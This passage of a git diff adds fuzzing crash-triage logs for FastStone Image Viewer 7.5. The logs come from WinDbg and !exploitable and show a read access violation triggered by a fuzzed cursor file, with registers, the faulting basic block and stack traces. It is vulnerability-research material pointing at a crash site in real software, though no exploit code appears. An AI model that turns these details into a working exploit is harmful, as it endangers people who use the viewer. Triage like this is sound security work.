00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +ModLoad: 00000000`73730000 00000000`737e9000 C:\Windows\SysWOW64\textinputframework.dll +ModLoad: 00000000`73410000 00000000`734ab000 C:\Windows\SysWOW64\CoreMessaging.dll +ModLoad: 00000000`734b0000 00000000`7372e000 C:\Windows\SysWOW64\CoreUIComponents.dll +ModLoad: 00000000`75430000 00000000`75493000 C:\Windows\SysWOW64\WS2_32.dll +ModLoad: 00000000`733e0000 00000000`73409000 C:\Windows\SysWOW64\ntmarta.dll +ModLoad: 00000000`73300000 00000000`733de000 C:\Windows\SysWOW64\wintypes.dll +ModLoad: 00000000`13d90000 00000000`13e6e000 C:\Windows\SysWOW64\wintypes.dll +ModLoad: 00000000`73190000 00000000`732f6000 C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.19041.264_none_4298d4188a939fa9\gdiplus.dll +(904.1340): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=150f0002 ebx=00000e1e ecx=07e18180 edx=000005a6 esi=1282f7d0 edi=0daa4fd4 +eip=005bdfc9 esp=150ef868 ebp=150efd10 iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:150f0002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=0020: top=0 cc=0000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0= 0.000000000000000000000e+0000 st1= 0.000000000000000000000e+0000 +st2= 0.000000000000000000000e+0000 st3= 0.000000000000000000000e+0000 +st4= 8.494396998968347920000e+0017 st5= 8.494398716955266560000e+0017 +st6= 8.494400434942185200000e+0017 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:150f0002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=0 0 0 0 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:150f0002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +150efd10 0060d6fc 00000000 150efd78 150efd48 image00000000_00400000+0x1bdfc9 +150efd88 005ff93f 150efde8 005ffbc2 150efde0 image00000000_00400000+0x20d6fc +150efde0 0090e28b 150efdf4 0090e3b5 150efe38 image00000000_00400000+0x1ff93f +150efe38 0090efea 150efea4 150efea8 150efeac image00000000_00400000+0x50e28b +150efec0 008d05d5 150efed4 008d06ab 150eff00 image00000000_00400000+0x50efea +150eff00 008d0991 150eff14 008d0a43 150eff2c image00000000_00400000+0x4d05d5 +150eff2c 0042c0bf 150eff40 0042c0c9 150eff5c image00000000_00400000+0x4d0991 +150eff5c 00404c22 150effcc 0040475c 150eff70 image00000000_00400000+0x2c0bf +150eff70 7572f989 07f1bec0 7572f970 150effdc image00000000_00400000+0x4c22 +150eff80 770b7084 07f1bec0 21e30465 00000000 KERNEL32!BaseThreadInitThunk+0x19 +150effdc 770b7054 ffffffff 770d62b3 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +150effec 00000000 00404bf8 07f1bec0 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x150f0002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05151902 +STACK_DEPTH:12 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x50e28b +STACK_FRAME:image00000000_00400000+0x50efea +STACK_FRAME:image00000000_00400000+0x4d05d5 +STACK_FRAME:image00000000_00400000+0x4d0991 +STACK_FRAME:image00000000_00400000+0x2c0bf +STACK_FRAME:image00000000_00400000+0x4c22 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x05151902) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/46544/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/46544/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..71b955f --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/46544/WindowsDebugEngine_description.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x904: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x904: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`001d0000 00000000`001ed000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +ModLoad: 00000000`73730000 00000000`737e9000 C:\Windows\SysWOW64\textinputframework.dll +ModLoad: 00000000`73410000 00000000`734ab000 C:\Windows\SysWOW64\CoreMessaging.dll +ModLoad: 00000000`734b0000 00000000`7372e000 C:\Windows\SysWOW64\CoreUIComponents.dll +ModLoad: 00000000`75430000 00000000`75493000 C:\Windows\SysWOW64\WS2_32.dll +ModLoad: 00000000`733e0000 00000000`73409000 C:\Windows\SysWOW64\ntmarta.dll +ModLoad: 00000000`73300000 00000000`733de000 C:\Windows\SysWOW64\wintypes.dll +ModLoad: 00000000`13d90000 00000000`13e6e000 C:\Windows\SysWOW64\wintypes.dll +ModLoad: 00000000`73190000 00000000`732f6000 C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.19041.264_none_4298d4188a939fa9\gdiplus.dll +(904.1340): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=150f0002 ebx=00000e1e ecx=07e18180 edx=000005a6 esi=1282f7d0 edi=0daa4fd4 +eip=005bdfc9 esp=150ef868 ebp=150efd10 iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:150f0002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=0020: top=0 cc=0000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0= 0.000000000000000000000e+0000 st1= 0.000000000000000000000e+0000 +st2= 0.000000000000000000000e+0000 st3= 0.000000000000000000000e+0000 +st4= 8.494396998968347920000e+0017 st5= 8.494398716955266560000e+0017 +st6= 8.494400434942185200000e+0017 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:150f0002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=0 0 0 0 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:150f0002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +150efd10 0060d6fc 00000000 150efd78 150efd48 image00000000_00400000+0x1bdfc9 +150efd88 005ff93f 150efde8 005ffbc2 150efde0 image00000000_00400000+0x20d6fc +150efde0 0090e28b 150efdf4 0090e3b5 150efe38 image00000000_00400000+0x1ff93f +150efe38 0090efea 150efea4 150efea8 150efeac image00000000_00400000+0x50e28b +150efec0 008d05d5 150efed4 008d06ab 150eff00 image00000000_00400000+0x50efea +150eff00 008d0991 150eff14 008d0a43 150eff2c image00000000_00400000+0x4d05d5 +150eff2c 0042c0bf 150eff40 0042c0c9 150eff5c image00000000_00400000+0x4d0991 +150eff5c 00404c22 150effcc 0040475c 150eff70 image00000000_00400000+0x2c0bf +150eff70 7572f989 07f1bec0 7572f970 150effdc image00000000_00400000+0x4c22 +150eff80 770b7084 07f1bec0 21e30465 00000000 KERNEL32!BaseThreadInitThunk+0x19 +150effdc 770b7054 ffffffff 770d62b3 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +150effec 00000000 00404bf8 07f1bec0 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x150f0002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05151902 +STACK_DEPTH:12 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x50e28b +STACK_FRAME:image00000000_00400000+0x50efea +STACK_FRAME:image00000000_00400000+0x4d05d5 +STACK_FRAME:image00000000_00400000+0x4d0991 +STACK_FRAME:image00000000_00400000+0x2c0bf +STACK_FRAME:image00000000_00400000+0x4c22 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x05151902) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/46544/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/46544/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..c9a8e3d Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/46544/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/59510/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/59510/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..63ad63b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/59510/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x0000000014f60002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/59510/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/59510/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..fec6565 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/59510/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/59510/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/59510/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..cfd49ce --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/59510/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,193 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xC54: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xC54: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 